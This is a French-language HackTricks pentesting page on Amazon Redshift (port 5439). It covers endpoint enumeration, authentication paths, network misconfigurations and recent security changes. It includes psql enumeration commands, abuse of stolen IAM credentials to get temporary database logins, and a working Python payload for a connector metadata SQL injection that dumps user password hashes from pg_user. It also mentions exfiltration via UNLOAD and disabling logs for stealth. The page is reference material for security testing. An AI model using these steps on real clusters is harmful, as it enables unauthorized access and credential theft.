5439 - Pentesting Redshift

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

Ce port est utilisé par Amazon Redshift (entrepôt de données géré par AWS). Le protocole réseau de Redshift est une version légèrement modifiée du protocole PostgreSQL, donc la plupart des outils clients Postgres fonctionnent (psql, psycopg2, JDBC/ODBC) mais les exigences d’authentification et de TLS diffèrent.

Pour plus d’informations, voir :

AWS - Redshift Enum - HackTricks Cloud

Énumération et connectivité

  • Port par défaut : 5439/TCP (personnalisable). Les workgroups Serverless utilisent aussi 5439 par défaut.
  • Modèle d’endpoint public : <clusterid>.<random>.<region>.redshift.amazonaws.com (public) ou .redshift.amazonaws.com.cn (Chine). Serverless : <workgroup>.<random>.<region>.redshift-serverless.amazonaws.com.
  • TLS : Redshift exige TLS 1.2+ et des suites de chiffrement avec Perfect Forward Secrecy. Les anciens clients peuvent échouer ; forcez l’utilisation d’un TLS moderne :
psql "host=<endpoint> port=5439 user=awsuser dbname=dev sslmode=require"
# or using redshift-psql wrapper
  • Groupe de paramètres require_ssl contrôle si le texte en clair est autorisé. Les nouveaux clusters/workgroups utilisent default.redshift-2.0 avec require_ssl=true, donc downgrade/mitm est plus difficile.

Énumération rapide avec psql

# basic banner/version
psql "host=<endpoint> user=<u> dbname=dev" -c 'select version();'
# list dbs, users, privileges
\l
\du
select * from pg_user;
select * from svv_redshift_sessions;

Les erreurs différencient mot de passe incorrect vs utilisateur manquant → potentiel username enumeration lors de brute force.

Chemins d’authentification à tester

  • Database password pour le master user (souvent nommé awsuser) ou les DB users créés.
  • IAM auth tokens : générer des identifiants de courte durée et se connecter via libpq/JDBC/ODBC en utilisant sslmode=require et authMech=IAM ou plugin_name=com.amazon.redshift.plugin.OktaCredentialsProvider. Abuse stolen IAM creds/roles with rds-db:connect style permission equivalent for Redshift.
aws redshift get-cluster-credentials --cluster-identifier <id> \
--db-user pentest --db-name dev --duration-seconds 900
psql "host=<endpoint> user=pentest password=<token> dbname=dev sslmode=require"
  • IAM Identity Center / SAML / Azure AD plugins : JDBC plugin_name peut lancer un serveur web local pour le SSO ; le callback loopback capturé peut leak SAML assertion ou des temp creds.

Configurations erronées courantes (réseau)

  • Cluster marqué PubliclyAccessible=true avec SG wide-open (0.0.0.0/0) expose une surface Postgres-like pour brute force ou exploitation SQLi.
  • Default port 5439 plus SG par défaut permettent une découverte facile (Shodan/Censys). Changer le port n’est qu’une obscurité mineure mais parfois oubliée dans les checklists de hardening.
  • No enhanced VPC routing → COPY/UNLOAD transitent via l’Internet public ; peuvent être abusés pour exfil si l’attaquant contrôle un S3 bucket/endpoint.

Notes d’attaque

  • Si la connexion réussit, Redshift manque de superuser en serverless ; dans les provisioned clusters le master user dispose de droits larges incluant création de UDFs (Python), external schema vers Spectrum, COPY depuis un S3 contrôlé par un attaquant, et UNLOAD pour exfiltrer des données.
  • Vérifier le cluster parameter group pour max_concurrency_scaling_clusters, require_ssl, enable_user_activity_logging – désactivation des logs facilite la discrétion.
  • Les serverless workgroups restent joignables via TCP ; même surface d’attaque SQL que les provisioned clusters.
  • Client-side metadata SQLi (Dec 2024) : JDBC 2.1.0.31, Python connector 2.1.4 et ODBC 2.1.5.0 construisent des requêtes de metadata avec un input utilisateur non cité dans getSchemas/getTables/getColumns (CVE-2024-12744/5/6). Si une app permet aux attaquants de contrôler les arguments catalog ou pattern, vous pouvez injecter du SQL arbitraire qui s’exécute avec le DB user utilisé par le connector.
# exploit vulnerable python connector 2.1.4 via metadata API
import redshift_connector
conn = redshift_connector.connect(host='<endpoint>', database='dev', user='lowpriv', password='pw')
cur = conn.cursor()
# injection in table_pattern leaks data from pg_tables
cur.get_tables(table_schema='public', table_name_pattern="%' UNION SELECT usename,passwd FROM pg_user--")
  • UDF execution model change : Python UDFs cesseront de fonctionner le 30 juin 2026 ; seules les Lambda UDFs seront autorisées après. Impact offensif : les legacy provisioned clusters exécutent encore des Python UDFs pour du code in-cluster (pas d’accès FS/network). Les Lambda UDFs déplacent le code vers Lambda où le IAM role peut atteindre Internet/VPC endpoints pour SSRF/pivot mais sans accès direct au filesystem du cluster. Chasser les vieux clusters avec Python UDFs activées peut toujours donner des primitives RCE.

Changements de sécurité récents (impact offensif)

  • Public access disabled by default sur les nouveaux clusters/snapshots (changement du 10 Jan 2025). Les anciens peuvent rester publics.
  • Encryption at rest + enforced TLS by default rend le sniffing/mitm plus difficile ; il faut des credentials valides ou un SSRF vers le chemin VPC.
  • Serverless VPCE rollout change (Jun 27, 2025) : les workgroup endpoints sont créés dans jusqu’à 3 AZ au moment de la création. Les outils de discovery doivent énumérer tous les workgroup VPCE DNS names par AZ pour trouver des IPs joignables.

References

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks